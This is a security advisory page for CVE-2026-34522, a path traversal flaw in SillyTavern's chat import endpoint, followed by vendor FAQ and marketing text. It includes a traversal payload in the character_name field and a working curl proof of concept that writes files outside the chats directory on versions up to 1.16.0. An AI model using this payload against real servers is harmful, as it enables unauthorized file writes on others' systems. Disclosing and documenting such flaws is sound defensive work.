CVE-2026-34522

A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.

Details

character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.

Evidence:

• Import handler entrypoint:
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686
• Unsanitized character_name used in output filename:
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723
• Same write pattern in JSONL import branch:
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766
• Endpoint auth context (authenticated user access):
  https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239

Example payload:

• character_name=../../../../tmp/st_poc

This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).

PoC

Prerequisites:

• Valid authenticated session cookie (cookie.txt)
• Valid CSRF token ($TOKEN)

Prepare payload:

printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl

Trigger arbitrary write:

curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
  -F "avatar=@/tmp/poc.jsonl" \
  -F "file_type=jsonl" \
  -F "avatar_url=a.png" \
  -F "character_name=../../../../tmp/st_poc" \
  -F "user_name=u" \
  http://TARGET:8000/api/chats/import

Observed result:

• A file is created outside chats directory, for example:
  /tmp/st_poc - <timestamp> imported.jsonl

Resolution

The issue was addressed in version 1.17.0

• Integrity: attacker can create files in unintended filesystem locations.
• Availability: can be used for disk abuse and disruptive file placement.
• Can become more severe when chained with other local processing behaviors.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-34522 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.17.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34522? CVE-2026-34522 is a high-severity path traversal vulnerability in sillytavern (npm), affecting versions <= 1.16.0. It is fixed in 1.17.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-34522? CVE-2026-34522 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of sillytavern are affected by CVE-2026-34522? sillytavern (npm) versions <= 1.16.0 is affected.
4. Is there a fix for CVE-2026-34522? Yes. CVE-2026-34522 is fixed in 1.17.0. Upgrade to this version or later.
5. Is CVE-2026-34522 exploitable, and should I be worried? Whether CVE-2026-34522 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34522 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34522? Upgrade sillytavern to 1.17.0 or later.